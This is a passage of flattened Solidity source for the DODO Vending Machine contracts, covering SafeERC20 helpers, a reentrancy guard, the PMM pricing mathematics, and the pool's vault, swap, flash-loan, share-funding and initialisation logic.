abi.encodeWithSelector(token.transferFrom.selector, from, to, value)
);
}
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: contracts/lib/ReentrancyGuard.sol
/**
* @title ReentrancyGuard
* @author DODO Breeder
*
* @notice Protect functions from Reentrancy Attack
*/
contract ReentrancyGuard {
// https://solidity.readthedocs.io/en/latest/control-structures.html?highlight=zero-state#scoping-and-declarations
// zero-state of _ENTERED_ is false
bool private _ENTERED_;
modifier preventReentrant() {
require(!_ENTERED_, "REENTRANT");
_ENTERED_ = true;
_;
_ENTERED_ = false;
}
}
// File: contracts/lib/DODOMath.sol
/**
* @title DODOMath
* @author DODO Breeder
*
* @notice Functions for complex calculating. Including ONE Integration and TWO Quadratic solutions
*/
library DODOMath {
using SafeMath for uint256;
/*
Integrate dodo curve from V1 to V2
require V0>=V1>=V2>0
res = (1-k)i(V1-V2)+ikV0*V0(1/V2-1/V1)
let V1-V2=delta
res = i*delta*(1-k+k(V0^2/V1/V2))
i is the price of V-res trading pair
support k=1 & k=0 case
[round down]
*/
function _GeneralIntegrate(
uint256 V0,
uint256 V1,
uint256 V2,
uint256 i,
uint256 k
) internal pure returns (uint256) {
require(V0 > 0, "TARGET_IS_ZERO");
uint256 fairAmount = i.mul(V1.sub(V2)); // i*delta
if (k == 0) {
return fairAmount.div(DecimalMath.ONE);
}
uint256 V0V0V1V2 = DecimalMath.divFloor(V0.mul(V0).div(V1), V2);
uint256 penalty = DecimalMath.mulFloor(k, V0V0V1V2); // k(V0^2/V1/V2)
return DecimalMath.ONE.sub(k).add(penalty).mul(fairAmount).div(DecimalMath.ONE2);
}
/*
Follow the integration function above
i*deltaB = (Q2-Q1)*(1-k+kQ0^2/Q1/Q2)
Assume Q2=Q0, Given Q1 and deltaB, solve Q0
i is the price of delta-V trading pair
give out target of V
support k=1 & k=0 case
[round down]
*/
function _SolveQuadraticFunctionForTarget(
uint256 V1,
uint256 delta,
uint256 i,
uint256 k
) internal pure returns (uint256) {
if (V1 == 0) {
return 0;
}
if (k == 0) {
return V1.add(DecimalMath.mulFloor(i, delta));
}
// V0 = V1*(1+(sqrt-1)/2k)
// sqrt = √(1+4kidelta/V1)
// premium = 1+(sqrt-1)/2k
// uint256 sqrt = (4 * k).mul(i).mul(delta).div(V1).add(DecimalMath.ONE2).sqrt();
uint256 sqrt;
uint256 ki = (4 * k).mul(i);
if (ki == 0) {
sqrt = DecimalMath.ONE;
} else if ((ki * delta) / ki == delta) {
sqrt = (ki * delta).div(V1).add(DecimalMath.ONE2).sqrt();
} else {
sqrt = ki.div(V1).mul(delta).add(DecimalMath.ONE2).sqrt();
}
uint256 premium =
DecimalMath.divFloor(sqrt.sub(DecimalMath.ONE), k * 2).add(DecimalMath.ONE);
// V0 is greater than or equal to V1 according to the solution
return DecimalMath.mulFloor(V1, premium);
}
/*
Follow the integration expression above, we have:
i*deltaB = (Q2-Q1)*(1-k+kQ0^2/Q1/Q2)
Given Q1 and deltaB, solve Q2
This is a quadratic function and the standard version is
aQ2^2 + bQ2 + c = 0, where
a=1-k
-b=(1-k)Q1-kQ0^2/Q1+i*deltaB
c=-kQ0^2
and Q2=(-b+sqrt(b^2+4(1-k)kQ0^2))/2(1-k)
note: another root is negative, abondan
if deltaBSig=true, then Q2>Q1, user sell Q and receive B
if deltaBSig=false, then Q2<Q1, user sell B and receive Q
return |Q1-Q2|
as we only support sell amount as delta, the deltaB is always negative
the input ideltaB is actually -ideltaB in the equation
i is the price of delta-V trading pair
support k=1 & k=0 case
[round down]
*/
function _SolveQuadraticFunctionForTrade(
uint256 V0,
uint256 V1,
uint256 delta,
uint256 i,
uint256 k
) internal pure returns (uint256) {
require(V0 > 0, "TARGET_IS_ZERO");
if (delta == 0) {
return 0;
}
if (k == 0) {
return DecimalMath.mulFloor(i, delta) > V1 ? V1 : DecimalMath.mulFloor(i, delta);
}
if (k == DecimalMath.ONE) {
// if k==1
// Q2=Q1/(1+ideltaBQ1/Q0/Q0)
// temp = ideltaBQ1/Q0/Q0
// Q2 = Q1/(1+temp)
// Q1-Q2 = Q1*(1-1/(1+temp)) = Q1*(temp/(1+temp))
// uint256 temp = i.mul(delta).mul(V1).div(V0.mul(V0));
uint256 temp;
uint256 idelta = i.mul(delta);
if (idelta == 0) {
temp = 0;
} else if ((idelta * V1) / idelta == V1) {
temp = (idelta * V1).div(V0.mul(V0));
} else {
temp = delta.mul(V1).div(V0).mul(i).div(V0);
}
return V1.mul(temp).div(temp.add(DecimalMath.ONE));
}
// calculate -b value and sig
// b = kQ0^2/Q1-i*deltaB-(1-k)Q1
// part1 = (1-k)Q1 >=0
// part2 = kQ0^2/Q1-i*deltaB >=0
// bAbs = abs(part1-part2)
// if part1>part2 => b is negative => bSig is false
// if part2>part1 => b is positive => bSig is true
uint256 part2 = k.mul(V0).div(V1).mul(V0).add(i.mul(delta)); // kQ0^2/Q1-i*deltaB
uint256 bAbs = DecimalMath.ONE.sub(k).mul(V1); // (1-k)Q1
bool bSig;
if (bAbs >= part2) {
bAbs = bAbs - part2;
bSig = false;
} else {
bAbs = part2 - bAbs;
bSig = true;
}
bAbs = bAbs.div(DecimalMath.ONE);
// calculate sqrt
uint256 squareRoot =
DecimalMath.mulFloor(
DecimalMath.ONE.sub(k).mul(4),
DecimalMath.mulFloor(k, V0).mul(V0)
); // 4(1-k)kQ0^2
squareRoot = bAbs.mul(bAbs).add(squareRoot).sqrt(); // sqrt(b*b+4(1-k)kQ0*Q0)
// final res
uint256 denominator = DecimalMath.ONE.sub(k).mul(2); // 2(1-k)
uint256 numerator;
if (bSig) {
numerator = squareRoot.sub(bAbs);
} else {
numerator = bAbs.add(squareRoot);
}
uint256 V2 = DecimalMath.divCeil(numerator, denominator);
if (V2 > V1) {
return 0;
} else {
return V1 - V2;
}
}
}
// File: contracts/lib/PMMPricing.sol
/**
* @title Pricing
* @author DODO Breeder
*
* @notice DODO Pricing model
*/
library PMMPricing {
using SafeMath for uint256;
enum RState {ONE, ABOVE_ONE, BELOW_ONE}
struct PMMState {
uint256 i;
uint256 K;
uint256 B;
uint256 Q;
uint256 B0;
uint256 Q0;
RState R;
}
// ============ buy & sell ============
function sellBaseToken(PMMState memory state, uint256 payBaseAmount)
internal
pure
returns (uint256 receiveQuoteAmount, RState newR)
{
if (state.R == RState.ONE) {
// case 1: R=1
// R falls below one
receiveQuoteAmount = _ROneSellBaseToken(state, payBaseAmount);
newR = RState.BELOW_ONE;
} else if (state.R == RState.ABOVE_ONE) {
uint256 backToOnePayBase = state.B0.sub(state.B);
uint256 backToOneReceiveQuote = state.Q.sub(state.Q0);
// case 2: R>1
// complex case, R status depends on trading amount
if (payBaseAmount < backToOnePayBase) {
// case 2.1: R status do not change
receiveQuoteAmount = _RAboveSellBaseToken(state, payBaseAmount);
newR = RState.ABOVE_ONE;
if (receiveQuoteAmount > backToOneReceiveQuote) {
// [Important corner case!] may enter this branch when some precision problem happens. And consequently contribute to negative spare quote amount
// to make sure spare quote>=0, mannually set receiveQuote=backToOneReceiveQuote
receiveQuoteAmount = backToOneReceiveQuote;
}
} else if (payBaseAmount == backToOnePayBase) {
// case 2.2: R status changes to ONE
receiveQuoteAmount = backToOneReceiveQuote;
newR = RState.ONE;
} else {
// case 2.3: R status changes to BELOW_ONE
receiveQuoteAmount = backToOneReceiveQuote.add(
_ROneSellBaseToken(state, payBaseAmount.sub(backToOnePayBase))
);
newR = RState.BELOW_ONE;
}
} else {
// state.R == RState.BELOW_ONE
// case 3: R<1
receiveQuoteAmount = _RBelowSellBaseToken(state, payBaseAmount);
newR = RState.BELOW_ONE;
}
}
function sellQuoteToken(PMMState memory state, uint256 payQuoteAmount)
internal
pure
returns (uint256 receiveBaseAmount, RState newR)
{
if (state.R == RState.ONE) {
receiveBaseAmount = _ROneSellQuoteToken(state, payQuoteAmount);
newR = RState.ABOVE_ONE;
} else if (state.R == RState.ABOVE_ONE) {
receiveBaseAmount = _RAboveSellQuoteToken(state, payQuoteAmount);
newR = RState.ABOVE_ONE;
} else {
uint256 backToOnePayQuote = state.Q0.sub(state.Q);
uint256 backToOneReceiveBase = state.B.sub(state.B0);
if (payQuoteAmount < backToOnePayQuote) {
receiveBaseAmount = _RBelowSellQuoteToken(state, payQuoteAmount);
newR = RState.BELOW_ONE;
if (receiveBaseAmount > backToOneReceiveBase) {
receiveBaseAmount = backToOneReceiveBase;
}
} else if (payQuoteAmount == backToOnePayQuote) {
receiveBaseAmount = backToOneReceiveBase;
newR = RState.ONE;
} else {
receiveBaseAmount = backToOneReceiveBase.add(
_ROneSellQuoteToken(state, payQuoteAmount.sub(backToOnePayQuote))
);
newR = RState.ABOVE_ONE;
}
}
}
// ============ R = 1 cases ============
function _ROneSellBaseToken(PMMState memory state, uint256 payBaseAmount)
internal
pure
returns (
uint256 // receiveQuoteToken
)
{
// in theory Q2 <= targetQuoteTokenAmount
// however when amount is close to 0, precision problems may cause Q2 > targetQuoteTokenAmount
return
DODOMath._SolveQuadraticFunctionForTrade(
state.Q0,
state.Q0,
payBaseAmount,
state.i,
state.K
);
}
function _ROneSellQuoteToken(PMMState memory state, uint256 payQuoteAmount)
internal
pure
returns (
uint256 // receiveBaseToken
)
{
return
DODOMath._SolveQuadraticFunctionForTrade(
state.B0,
state.B0,
payQuoteAmount,
DecimalMath.reciprocalFloor(state.i),
state.K
);
}
// ============ R < 1 cases ============
function _RBelowSellQuoteToken(PMMState memory state, uint256 payQuoteAmount)
internal
pure
returns (
uint256 // receiveBaseToken
)
{
return
DODOMath._GeneralIntegrate(
state.Q0,
state.Q.add(payQuoteAmount),
state.Q,
DecimalMath.reciprocalFloor(state.i),
state.K
);
}
function _RBelowSellBaseToken(PMMState memory state, uint256 payBaseAmount)
internal
pure
returns (
uint256 // receiveQuoteToken
)
{
return
DODOMath._SolveQuadraticFunctionForTrade(
state.Q0,
state.Q,
payBaseAmount,
state.i,
state.K
);
}
// ============ R > 1 cases ============
function _RAboveSellBaseToken(PMMState memory state, uint256 payBaseAmount)
internal
pure
returns (
uint256 // receiveQuoteToken
)
{
return
DODOMath._GeneralIntegrate(
state.B0,
state.B.add(payBaseAmount),
state.B,
state.i,
state.K
);
}
function _RAboveSellQuoteToken(PMMState memory state, uint256 payQuoteAmount)
internal
pure
returns (
uint256 // receiveBaseToken
)
{
return
DODOMath._SolveQuadraticFunctionForTrade(
state.B0,
state.B,
payQuoteAmount,
DecimalMath.reciprocalFloor(state.i),
state.K
);
}
// ============ Helper functions ============
function adjustedTarget(PMMState memory state) internal pure {
if (state.R == RState.BELOW_ONE) {
state.Q0 = DODOMath._SolveQuadraticFunctionForTarget(
state.Q,
state.B.sub(state.B0),
state.i,
state.K
);
} else if (state.R == RState.ABOVE_ONE) {
state.B0 = DODOMath._SolveQuadraticFunctionForTarget(
state.B,
state.Q.sub(state.Q0),
DecimalMath.reciprocalFloor(state.i),
state.K
);
}
}
function getMidPrice(PMMState memory state) internal pure returns (uint256) {
if (state.R == RState.BELOW_ONE) {
uint256 R = DecimalMath.divFloor(state.Q0.mul(state.Q0).div(state.Q), state.Q);
R = DecimalMath.ONE.sub(state.K).add(DecimalMath.mulFloor(state.K, R));
return DecimalMath.divFloor(state.i, R);
} else {
uint256 R = DecimalMath.divFloor(state.B0.mul(state.B0).div(state.B), state.B);
R = DecimalMath.ONE.sub(state.K).add(DecimalMath.mulFloor(state.K, R));
return DecimalMath.mulFloor(state.i, R);
}
}
}
// File: contracts/DODOVendingMachine/impl/DVMStorage.sol
contract DVMStorage is ReentrancyGuard {
using SafeMath for uint256;
bool public _IS_OPEN_TWAP_ = false;
bool internal _DVM_INITIALIZED_;
// ============ Core Address ============
address public _MAINTAINER_;
IERC20 public _BASE_TOKEN_;
IERC20 public _QUOTE_TOKEN_;
uint112 public _BASE_RESERVE_;
uint112 public _QUOTE_RESERVE_;
uint32 public _BLOCK_TIMESTAMP_LAST_;
uint256 public _BASE_PRICE_CUMULATIVE_LAST_;
// ============ Shares (ERC20) ============
string public symbol;
uint8 public decimals;
string public name;
uint256 public totalSupply;
mapping(address => uint256) internal _SHARES_;
mapping(address => mapping(address => uint256)) internal _ALLOWED_;
// ================= Permit ======================
bytes32 public DOMAIN_SEPARATOR;
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
mapping(address => uint256) public nonces;
// ============ Variables for Pricing ============
uint256 public _LP_FEE_RATE_;
IFeeRateModel public _MT_FEE_RATE_MODEL_;
uint256 public _K_;
uint256 public _I_;
// ============ Helper Functions ============
function getPMMState() public view returns (PMMPricing.PMMState memory state) {
state.i = _I_;
state.K = _K_;
state.B = _BASE_RESERVE_;
state.Q = _QUOTE_RESERVE_;
state.B0 = 0; // will be calculated in adjustedTarget
state.Q0 = 0;
state.R = PMMPricing.RState.ABOVE_ONE;
PMMPricing.adjustedTarget(state);
}
function getPMMStateForCall()
external
view
returns (
uint256 i,
uint256 K,
uint256 B,
uint256 Q,
uint256 B0,
uint256 Q0,
uint256 R
)
{
PMMPricing.PMMState memory state = getPMMState();
i = state.i;
K = state.K;
B = state.B;
Q = state.Q;
B0 = state.B0;
Q0 = state.Q0;
R = uint256(state.R);
}
function getMidPrice() public view returns (uint256 midPrice) {
return PMMPricing.getMidPrice(getPMMState());
}
}
// File: contracts/DODOVendingMachine/impl/DVMVault.sol
contract DVMVault is DVMStorage {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// ============ Events ============
event Transfer(address indexed from, address indexed to, uint256 amount);
event Approval(address indexed owner, address indexed spender, uint256 amount);
event Mint(address indexed user, uint256 value);
event Burn(address indexed user, uint256 value);
// ============ View Functions ============
function getVaultReserve() external view returns (uint256 baseReserve, uint256 quoteReserve) {
baseReserve = _BASE_RESERVE_;
quoteReserve = _QUOTE_RESERVE_;
}
function getUserFeeRate(address user) external view returns (uint256 lpFeeRate, uint256 mtFeeRate) {
lpFeeRate = _LP_FEE_RATE_;
mtFeeRate = _MT_FEE_RATE_MODEL_.getFeeRate(user);
}
// ============ Asset In ============
function getBaseInput() public view returns (uint256 input) {
return _BASE_TOKEN_.balanceOf(address(this)).sub(uint256(_BASE_RESERVE_));
}
function getQuoteInput() public view returns (uint256 input) {
return _QUOTE_TOKEN_.balanceOf(address(this)).sub(uint256(_QUOTE_RESERVE_));
}
// ============ TWAP UPDATE ===========
function _twapUpdate() internal {
uint32 blockTimestamp = uint32(block.timestamp % 2**32);
uint32 timeElapsed = blockTimestamp - _BLOCK_TIMESTAMP_LAST_;
if (timeElapsed > 0 && _BASE_RESERVE_ != 0 && _QUOTE_RESERVE_ != 0) {
_BASE_PRICE_CUMULATIVE_LAST_ += getMidPrice() * timeElapsed;
}
_BLOCK_TIMESTAMP_LAST_ = blockTimestamp;
}
// ============ Set States ============
function _setReserve(uint256 baseReserve, uint256 quoteReserve) internal {
require(baseReserve <= uint112(-1) && quoteReserve <= uint112(-1), "OVERFLOW");
_BASE_RESERVE_ = uint112(baseReserve);
_QUOTE_RESERVE_ = uint112(quoteReserve);
if(_IS_OPEN_TWAP_) _twapUpdate();
}
function _sync() internal {
uint256 baseBalance = _BASE_TOKEN_.balanceOf(address(this));
uint256 quoteBalance = _QUOTE_TOKEN_.balanceOf(address(this));
require(baseBalance <= uint112(-1) && quoteBalance <= uint112(-1), "OVERFLOW");
if (baseBalance != _BASE_RESERVE_) {
_BASE_RESERVE_ = uint112(baseBalance);
}
if (quoteBalance != _QUOTE_RESERVE_) {
_QUOTE_RESERVE_ = uint112(quoteBalance);
}
if(_IS_OPEN_TWAP_) _twapUpdate();
}
function sync() external preventReentrant {
_sync();
}
// ============ Asset Out ============
function _transferBaseOut(address to, uint256 amount) internal {
if (amount > 0) {
_BASE_TOKEN_.safeTransfer(to, amount);
}
}
function _transferQuoteOut(address to, uint256 amount) internal {
if (amount > 0) {
_QUOTE_TOKEN_.safeTransfer(to, amount);
}
}
// ============ Shares (ERC20) ============
/**
* @dev transfer token for a specified address
* @param to The address to transfer to.
* @param amount The amount to be transferred.
*/
function transfer(address to, uint256 amount) public returns (bool) {
require(amount <= _SHARES_[msg.sender], "BALANCE_NOT_ENOUGH");
_SHARES_[msg.sender] = _SHARES_[msg.sender].sub(amount);
_SHARES_[to] = _SHARES_[to].add(amount);
emit Transfer(msg.sender, to, amount);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the the balance of.
* @return balance An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) external view returns (uint256 balance) {
return _SHARES_[owner];
}
/**
* @dev Transfer tokens from one address to another
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param amount uint256 the amount of tokens to be transferred
*/
function transferFrom(
address from,
address to,
uint256 amount
) public returns (bool) {
require(amount <= _SHARES_[from], "BALANCE_NOT_ENOUGH");
require(amount <= _ALLOWED_[from][msg.sender], "ALLOWANCE_NOT_ENOUGH");
_SHARES_[from] = _SHARES_[from].sub(amount);
_SHARES_[to] = _SHARES_[to].add(amount);
_ALLOWED_[from][msg.sender] = _ALLOWED_[from][msg.sender].sub(amount);
emit Transfer(from, to, amount);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param spender The address which will spend the funds.
* @param amount The amount of tokens to be spent.
*/
function approve(address spender, uint256 amount) public returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
_ALLOWED_[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Function to check the amount of tokens that an owner _ALLOWED_ to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _ALLOWED_[owner][spender];
}
function _mint(address user, uint256 value) internal {
require(value > 1000, "MINT_INVALID");
_SHARES_[user] = _SHARES_[user].add(value);
totalSupply = totalSupply.add(value);
emit Mint(user, value);
emit Transfer(address(0), user, value);
}
function _burn(address user, uint256 value) internal {
_SHARES_[user] = _SHARES_[user].sub(value);
totalSupply = totalSupply.sub(value);
emit Burn(user, value);
emit Transfer(user, address(0), value);
}
// ============================ Permit ======================================
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external {
require(deadline >= block.timestamp, "DODO_DVM_LP: EXPIRED");
bytes32 digest = keccak256(
abi.encodePacked(
"\x19\x01",
DOMAIN_SEPARATOR,
keccak256(
abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline)
)
)
);
address recoveredAddress = ecrecover(digest, v, r, s);
require(
recoveredAddress != address(0) && recoveredAddress == owner,
"DODO_DVM_LP: INVALID_SIGNATURE"
);
_approve(owner, spender, value);
}
}
// File: contracts/intf/IDODOCallee.sol
interface IDODOCallee {
function DVMSellShareCall(
address sender,
uint256 burnShareAmount,
uint256 baseAmount,
uint256 quoteAmount,
bytes calldata data
) external;
function DVMFlashLoanCall(
address sender,
uint256 baseAmount,
uint256 quoteAmount,
bytes calldata data
) external;
function DPPFlashLoanCall(
address sender,
uint256 baseAmount,
uint256 quoteAmount,
bytes calldata data
) external;
function CPCancelCall(
address sender,
uint256 amount,
bytes calldata data
) external;
function CPClaimBidCall(
address sender,
uint256 baseAmount,
uint256 quoteAmount,
bytes calldata data
) external;
}
// File: contracts/DODOVendingMachine/impl/DVMTrader.sol
contract DVMTrader is DVMVault {
using SafeMath for uint256;
// ============ Events ============
event DODOSwap(
address fromToken,
address toToken,
uint256 fromAmount,
uint256 toAmount,
address trader,
address receiver
);
event DODOFlashLoan(
address borrower,
address assetTo,
uint256 baseAmount,
uint256 quoteAmount
);
// ============ Trade Functions ============
function sellBase(address to)
external
preventReentrant
returns (uint256 receiveQuoteAmount)
{
uint256 baseBalance = _BASE_TOKEN_.balanceOf(address(this));
uint256 baseInput = baseBalance.sub(uint256(_BASE_RESERVE_));
uint256 mtFee;
(receiveQuoteAmount, mtFee) = querySellBase(tx.origin, baseInput);
_transferQuoteOut(to, receiveQuoteAmount);
_transferQuoteOut(_MAINTAINER_, mtFee);
_setReserve(baseBalance, _QUOTE_TOKEN_.balanceOf(address(this)));
emit DODOSwap(
address(_BASE_TOKEN_),
address(_QUOTE_TOKEN_),
baseInput,
receiveQuoteAmount,
msg.sender,
to
);
}
function sellQuote(address to)
external
preventReentrant
returns (uint256 receiveBaseAmount)
{
uint256 quoteBalance = _QUOTE_TOKEN_.balanceOf(address(this));
uint256 quoteInput = quoteBalance.sub(uint256(_QUOTE_RESERVE_));
uint256 mtFee;
(receiveBaseAmount, mtFee) = querySellQuote(tx.origin, quoteInput);
_transferBaseOut(to, receiveBaseAmount);
_transferBaseOut(_MAINTAINER_, mtFee);
_setReserve(_BASE_TOKEN_.balanceOf(address(this)), quoteBalance);
emit DODOSwap(
address(_QUOTE_TOKEN_),
address(_BASE_TOKEN_),
quoteInput,
receiveBaseAmount,
msg.sender,
to
);
}
function flashLoan(
uint256 baseAmount,
uint256 quoteAmount,
address assetTo,
bytes calldata data
) external preventReentrant {
_transferBaseOut(assetTo, baseAmount);
_transferQuoteOut(assetTo, quoteAmount);
if (data.length > 0)
IDODOCallee(assetTo).DVMFlashLoanCall(msg.sender, baseAmount, quoteAmount, data);
uint256 baseBalance = _BASE_TOKEN_.balanceOf(address(this));
uint256 quoteBalance = _QUOTE_TOKEN_.balanceOf(address(this));
// no input -> pure loss
require(
baseBalance >= _BASE_RESERVE_ || quoteBalance >= _QUOTE_RESERVE_,
"FLASH_LOAN_FAILED"
);
// sell quote
if (baseBalance < _BASE_RESERVE_) {
uint256 quoteInput = quoteBalance.sub(uint256(_QUOTE_RESERVE_));
(uint256 receiveBaseAmount, uint256 mtFee) = querySellQuote(tx.origin, quoteInput);
require(uint256(_BASE_RESERVE_).sub(baseBalance) <= receiveBaseAmount, "FLASH_LOAN_FAILED");
_transferBaseOut(_MAINTAINER_, mtFee);
emit DODOSwap(
address(_QUOTE_TOKEN_),
address(_BASE_TOKEN_),
quoteInput,
receiveBaseAmount,
msg.sender,
assetTo
);
}
// sell base
if (quoteBalance < _QUOTE_RESERVE_) {
uint256 baseInput = baseBalance.sub(uint256(_BASE_RESERVE_));
(uint256 receiveQuoteAmount, uint256 mtFee) = querySellBase(tx.origin, baseInput);
require(uint256(_QUOTE_RESERVE_).sub(quoteBalance) <= receiveQuoteAmount, "FLASH_LOAN_FAILED");
_transferQuoteOut(_MAINTAINER_, mtFee);
emit DODOSwap(
address(_BASE_TOKEN_),
address(_QUOTE_TOKEN_),
baseInput,
receiveQuoteAmount,
msg.sender,
assetTo
);
}
_sync();
emit DODOFlashLoan(msg.sender, assetTo, baseAmount, quoteAmount);
}
// ============ Query Functions ============
function querySellBase(address trader, uint256 payBaseAmount)
public
view
returns (uint256 receiveQuoteAmount, uint256 mtFee)
{
(receiveQuoteAmount, ) = PMMPricing.sellBaseToken(getPMMState(), payBaseAmount);
uint256 lpFeeRate = _LP_FEE_RATE_;
uint256 mtFeeRate = _MT_FEE_RATE_MODEL_.getFeeRate(trader);
mtFee = DecimalMath.mulFloor(receiveQuoteAmount, mtFeeRate);
receiveQuoteAmount = receiveQuoteAmount
.sub(DecimalMath.mulFloor(receiveQuoteAmount, lpFeeRate))
.sub(mtFee);
}
function querySellQuote(address trader, uint256 payQuoteAmount)
public
view
returns (uint256 receiveBaseAmount, uint256 mtFee)
{
(receiveBaseAmount, ) = PMMPricing.sellQuoteToken(getPMMState(), payQuoteAmount);
uint256 lpFeeRate = _LP_FEE_RATE_;
uint256 mtFeeRate = _MT_FEE_RATE_MODEL_.getFeeRate(trader);
mtFee = DecimalMath.mulFloor(receiveBaseAmount, mtFeeRate);
receiveBaseAmount = receiveBaseAmount
.sub(DecimalMath.mulFloor(receiveBaseAmount, lpFeeRate))
.sub(mtFee);
}
}
// File: contracts/DODOVendingMachine/impl/DVMFunding.sol
contract DVMFunding is DVMVault {
// ============ Events ============
event BuyShares(address to, uint256 increaseShares, uint256 totalShares);
event SellShares(address payer, address to, uint256 decreaseShares, uint256 totalShares);
// ============ Buy & Sell Shares ============
// buy shares [round down]
function buyShares(address to)
external
preventReentrant
returns (
uint256 shares,
uint256 baseInput,
uint256 quoteInput
)
{
uint256 baseBalance = _BASE_TOKEN_.balanceOf(address(this));
uint256 quoteBalance = _QUOTE_TOKEN_.balanceOf(address(this));
uint256 baseReserve = _BASE_RESERVE_;
uint256 quoteReserve = _QUOTE_RESERVE_;
baseInput = baseBalance.sub(baseReserve);
quoteInput = quoteBalance.sub(quoteReserve);
require(baseInput > 0, "NO_BASE_INPUT");
// Round down when withdrawing. Therefore, never be a situation occuring balance is 0 but totalsupply is not 0
// But May Happen，reserve >0 But totalSupply = 0
if (totalSupply == 0) {
// case 1. initial supply
require(baseBalance >= 10**3, "INSUFFICIENT_LIQUIDITY_MINED");
shares = baseBalance; // 以免出现balance很大但shares很小的情况
} else if (baseReserve > 0 && quoteReserve == 0) {
// case 2. supply when quote reserve is 0
shares = baseInput.mul(totalSupply).div(baseReserve);
} else if (baseReserve > 0 && quoteReserve > 0) {
// case 3. normal case
uint256 baseInputRatio = DecimalMath.divFloor(baseInput, baseReserve);
uint256 quoteInputRatio = DecimalMath.divFloor(quoteInput, quoteReserve);
uint256 mintRatio = quoteInputRatio < baseInputRatio ? quoteInputRatio : baseInputRatio;
shares = DecimalMath.mulFloor(totalSupply, mintRatio);
}
_mint(to, shares);
_setReserve(baseBalance, quoteBalance);
emit BuyShares(to, shares, _SHARES_[to]);
}
// sell shares [round down]
function sellShares(
uint256 shareAmount,
address to,
uint256 baseMinAmount,
uint256 quoteMinAmount,
bytes calldata data,
uint256 deadline
) external preventReentrant returns (uint256 baseAmount, uint256 quoteAmount) {
require(deadline >= block.timestamp, "TIME_EXPIRED");
require(shareAmount <= _SHARES_[msg.sender], "DLP_NOT_ENOUGH");
uint256 baseBalance = _BASE_TOKEN_.balanceOf(address(this));
uint256 quoteBalance = _QUOTE_TOKEN_.balanceOf(address(this));
uint256 totalShares = totalSupply;
baseAmount = baseBalance.mul(shareAmount).div(totalShares);
quoteAmount = quoteBalance.mul(shareAmount).div(totalShares);
require(
baseAmount >= baseMinAmount && quoteAmount >= quoteMinAmount,
"WITHDRAW_NOT_ENOUGH"
);
_burn(msg.sender, shareAmount);
_transferBaseOut(to, baseAmount);
_transferQuoteOut(to, quoteAmount);
_sync();
if (data.length > 0) {
IDODOCallee(to).DVMSellShareCall(
msg.sender,
shareAmount,
baseAmount,
quoteAmount,
data
);
}
emit SellShares(msg.sender, to, shareAmount, _SHARES_[msg.sender]);
}
}
// File: contracts/DODOVendingMachine/impl/DVM.sol
/**
* @title DODO VendingMachine
* @author DODO Breeder
*
* @notice DODOVendingMachine initialization
*/
contract DVM is DVMTrader, DVMFunding {
function init(
address maintainer,
address baseTokenAddress,
address quoteTokenAddress,
uint256 lpFeeRate,
address mtFeeRateModel,
uint256 i,
uint256 k,
bool isOpenTWAP
) external {
require(!_DVM_INITIALIZED_, "DVM_INITIALIZED");
_DVM_INITIALIZED_ = true;
require(baseTokenAddress != quoteTokenAddress, "BASE_QUOTE_CAN_NOT_BE_SAME");
_BASE_TOKEN_ = IERC20(baseTokenAddress);
_QUOTE_TOKEN_ = IERC20(quoteTokenAddress);
require(i > 0 && i <= 10**36);
_I_ = i;
require(k <= 10**18);
_K_ = k;
_LP_FEE_RATE_ = lpFeeRate;
_MT_FEE_RATE_MODEL_ = IFeeRateModel(mtFeeRateModel);
_MAINTAINER_ = maintainer;
_IS_OPEN_TWAP_ = isOpenTWAP;
if(isOpenTWAP) _BLOCK_TIMESTAMP_LAST_ = uint32(block.timestamp % 2**32);
string memory connect = "_";
string memory suffix = "DLP";
name = string(abi.encodePacked(suffix, connect, addressToShortString(address(this))));
symbol = "DLP";
decimals = _BASE_TOKEN_.decimals();
// ============================== Permit ====================================
uint256 chainId;
assembly {
chainId := chainid()
}
DOMAIN_SEPARATOR = keccak256(
abi.encode(
// keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'),
0x8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f,
keccak256(bytes(name)),
keccak256(bytes("1")),
chainId,
address(this)
)
);
// ==========================================================================
}
function addressToShortString(address _addr) public pure returns (string memory) {
bytes32 value = bytes32(uint256(_addr));
